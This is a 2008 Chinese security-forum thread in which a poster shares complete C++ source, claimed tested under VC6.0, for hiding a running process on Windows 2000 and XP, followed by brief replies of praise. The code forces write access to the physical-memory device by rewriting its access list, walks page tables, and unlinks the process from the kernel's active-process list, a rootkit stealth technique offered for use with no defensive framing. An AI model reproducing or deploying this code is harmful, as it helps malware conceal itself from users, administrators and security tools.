Board logo

标题: 在2000和xp下，隐藏进程，VC6.0测试通过!!! [打印本页]
作者: 噯伱╅詠吥變    时间: 2008-6-17 13:03     标题: 在2000和xp下，隐藏进程，VC6.0测试通过!!!

在2000和xp下，隐藏进程，VC6.0测试通过!!!


头文件
  1. //////////////////////////////////////
  2. //HideProcess.h
  3. BOOL HideProcess();
复制代码
CPP源文件：
  1. /////////////////////////////////////////////////////////////////////////////
  2. //HideProcess.cpp
  3. #include<windows.h>
  4. #include<Accctrl.h>
  5. #include<Aclapi.h>

  7. #include"HideProcess.h"

  9. #define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0)
  10. #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
  11. #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

  13. typedef LONG NTSTATUS;

  15. typedef struct _IO_STATUS_BLOCK
  16. {
  17.     NTSTATUS Status;
  18.     ULONG Information;
  19. } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

  21. typedef struct _UNICODE_STRING
  22. {
  23.     USHORT Length;
  24.     USHORT MaximumLength;
  25.     PWSTR Buffer;
  26. } UNICODE_STRING, *PUNICODE_STRING;

  28. #define OBJ_INHERIT                0x00000002L
  29. #define OBJ_PERMANENT            0x00000010L
  30. #define OBJ_EXCLUSIVE            0x00000020L
  31. #define OBJ_CASE_INSENSITIVE    0x00000040L
  32. #define OBJ_OPENIF                0x00000080L
  33. #define OBJ_OPENLINK            0x00000100L
  34. #define OBJ_KERNEL_HANDLE        0x00000200L
  35. #define OBJ_VALID_ATTRIBUTES    0x000003F2L

  37. typedef struct _OBJECT_ATTRIBUTES
  38. {
  39.     ULONG Length;
  40.     HANDLE RootDirectory;
  41.     PUNICODE_STRING ObjectName;
  42.     ULONG Attributes;
  43.     PVOID SecurityDescriptor;
  44.     PVOID SecurityQualityOfService;
  45. } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

  47. typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
  48.     OUT PHANDLE SectionHandle,
  49.     IN ACCESS_MASK DesiredAccess,
  50.     IN POBJECT_ATTRIBUTES ObjectAttributes
  51.     );

  53. typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
  54.     IN OUT PUNICODE_STRING DestinationString,
  55.     IN PCWSTR SourceString
  56.     );

  58. RTLINITUNICODESTRING RtlInitUnicodeString;
  59. ZWOPENSECTION ZwOpenSection;
  60. HMODULE g_hNtDLL = NULL;
  61. PVOID g_pMapPhysicalMemory = NULL;
  62. HANDLE g_hMPM = NULL;
  63. OSVERSIONINFO g_osvi;
  64. //---------------------------------------------------------------------------
  65. BOOL InitNTDLL()
  66. {
  67.     g_hNtDLL = LoadLibrary("ntdll.dll");

  69.     if (NULL == g_hNtDLL)
  70.         return FALSE;

  72.     RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL,

  74. "RtlInitUnicodeString");
  75.     ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

  77.     return TRUE;
  78. }
  79. //---------------------------------------------------------------------------
  80. VOID CloseNTDLL()
  81. {
  82.     if(NULL != g_hNtDLL)
  83.         FreeLibrary(g_hNtDLL);

  85.     g_hNtDLL = NULL;
  86. }
  87. //---------------------------------------------------------------------------
  88. VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
  89. {
  90.     PACL pDacl                    = NULL;
  91.     PSECURITY_DESCRIPTOR pSD    = NULL;
  92.     PACL pNewDacl = NULL;
  93.    
  94.     DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL,

  96. NULL, &pDacl, NULL, &pSD);

  98.     if(ERROR_SUCCESS != dwRes)
  99.     {

  101.     if(pSD)
  102.         LocalFree(pSD);
  103.     if(pNewDacl)
  104.         LocalFree(pNewDacl);
  105.     }

  107.     EXPLICIT_ACCESS ea;
  108.     RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  109.     ea.grfAccessPermissions = SECTION_MAP_WRITE;
  110.     ea.grfAccessMode = GRANT_ACCESS;
  111.     ea.grfInheritance= NO_INHERITANCE;
  112.     ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
  113.     ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
  114.     ea.Trustee.ptstrName = "CURRENT_USER";

  116.     dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);
  117.    
  118.     if(ERROR_SUCCESS != dwRes)
  119.     {

  121.     if(pSD)
  122.         LocalFree(pSD);
  123.     if(pNewDacl)
  124.         LocalFree(pNewDacl);
  125.     }
  126.     dwRes = SetSecurityInfo

  128. (hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);
  129.    
  130.     if(ERROR_SUCCESS != dwRes)
  131.     {

  133.     if(pSD)
  134.         LocalFree(pSD);
  135.     if(pNewDacl)
  136.         LocalFree(pNewDacl);
  137.     }

  139. }
  140. //---------------------------------------------------------------------------
  141. HANDLE OpenPhysicalMemory()
  142. {
  143.     NTSTATUS status;
  144.     UNICODE_STRING physmemString;
  145.     OBJECT_ATTRIBUTES attributes;
  146.     ULONG PhyDirectory;

  148.     g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  149.     GetVersionEx (&g_osvi);

  151.     if (5 != g_osvi.dwMajorVersion)
  152.         return NULL;

  154.     switch(g_osvi.dwMinorVersion)
  155.     {
  156.         case 0:
  157.             PhyDirectory = 0x30000;
  158.             break; //2k
  159.         case 1:
  160.             PhyDirectory = 0x39000;
  161.             break; //xp
  162.         default:
  163.             return NULL;
  164.     }

  166.     RtlInitUnicodeString(&physmemString, L"\\Device\\PhysicalMemory");

  168.     attributes.Length                    = sizeof(OBJECT_ATTRIBUTES);
  169.     attributes.RootDirectory            = NULL;
  170.     attributes.ObjectName                = &physmemString;
  171.     attributes.Attributes                = 0;
  172.     attributes.SecurityDescriptor        = NULL;
  173.     attributes.SecurityQualityOfService    = NULL;

  175.     status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);

  177.     if(status == STATUS_ACCESS_DENIED)
  178.     {
  179.         status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes);
  180.         SetPhyscialMemorySectionCanBeWrited(g_hMPM);
  181.         CloseHandle(g_hMPM);
  182.         status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);
  183.     }

  185.     if(!NT_SUCCESS(status))
  186.         return NULL;

  188.     g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory,

  190. 0x1000);

  192.     if( g_pMapPhysicalMemory == NULL )
  193.         return NULL;

  195.     return g_hMPM;
  196. }
  197. //---------------------------------------------------------------------------
  198. PVOID LinearToPhys(PULONG BaseAddress, PVOID addr)
  199. {
  200.     ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr;
  201.     PGDE = BaseAddress[VAddr>>22];

  203.     if (0 == (PGDE&1))
  204.         return 0;

  206.     ULONG tmp = PGDE & 0x00000080;

  208.     if (0 != tmp)
  209.     {
  210.         PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF);
  211.     }
  212.     else
  213.     {
  214.         PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
  215.         PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
  216.         
  217.         if (0 == (PTE&1))
  218.             return 0;

  220.         PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
  221.         UnmapViewOfFile((PVOID)PGDE);
  222.     }

  224.     return (PVOID)PAddr;
  225. }
  226. //---------------------------------------------------------------------------
  227. ULONG GetData(PVOID addr)
  228. {
  229.     ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
  230.     PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys &

  232. 0xfffff000, 0x1000);
  233.    
  234.     if (0 == tmp)
  235.         return 0;

  237.     ULONG ret = tmp[(phys & 0xFFF)>>2];
  238.     UnmapViewOfFile(tmp);

  240.     return ret;
  241. }
  242. //---------------------------------------------------------------------------
  243. BOOL SetData(PVOID addr,ULONG data)
  244. {
  245.     ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
  246.     PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);

  248.     if (0 == tmp)
  249.         return FALSE;

  251.     tmp[(phys & 0xFFF)>>2] = data;
  252.     UnmapViewOfFile(tmp);

  254.     return TRUE;
  255. }
  256. //---------------------------------------------------------------------------
  257. long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
  258. {
  259.    ExitProcess(0);
  260.    return 1 ;
  261. }
  262. //---------------------------------------------------------------------------
  263. BOOL YHideProcess()
  264. {
  265. //    SetUnhandledExceptionFilter(exeception);

  267.     if (FALSE == InitNTDLL())
  268.         return FALSE;

  270.     if (0 == OpenPhysicalMemory())
  271.         return FALSE;

  273.     ULONG thread  = GetData((PVOID)0xFFDFF124); //kteb
  274.     ULONG process = GetData(PVOID(thread + 0x44)); //kpeb

  276.     ULONG fw, bw;
  277.     if (0 == g_osvi.dwMinorVersion)
  278.     {
  279.         fw = GetData(PVOID(process + 0xa0));
  280.         bw = GetData(PVOID(process + 0xa4));        
  281.     }

  283.     if (1 == g_osvi.dwMinorVersion)
  284.     {
  285.         fw = GetData(PVOID(process + 0x88));
  286.         bw = GetData(PVOID(process + 0x8c));
  287.     }
  288.         
  289.     SetData(PVOID(fw + 4), bw);
  290.     SetData(PVOID(bw), fw);

  292.     CloseHandle(g_hMPM);
  293.     CloseNTDLL();

  295.     return TRUE;
  296. }

  298. BOOL HideProcess()
  299. {
  300. static BOOL b_hide = false;
  301. if (!b_hide)
  302. {
  303.   b_hide = true;
  304.   YHideProcess();
  305.   return true;
  306. }
  307. return true;
  308. }
复制代码
作者: Sun    时间: 2008-6-17 13:08

没有学过

希望楼主可以发个什么连载的教程就好了
作者: hilarylove    时间: 2008-11-27 12:31

好强大~是你自己写的吗？？我砸写不出啊。。。汗
作者: 梦影    时间: 2008-11-27 15:58

不错的东东。



欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2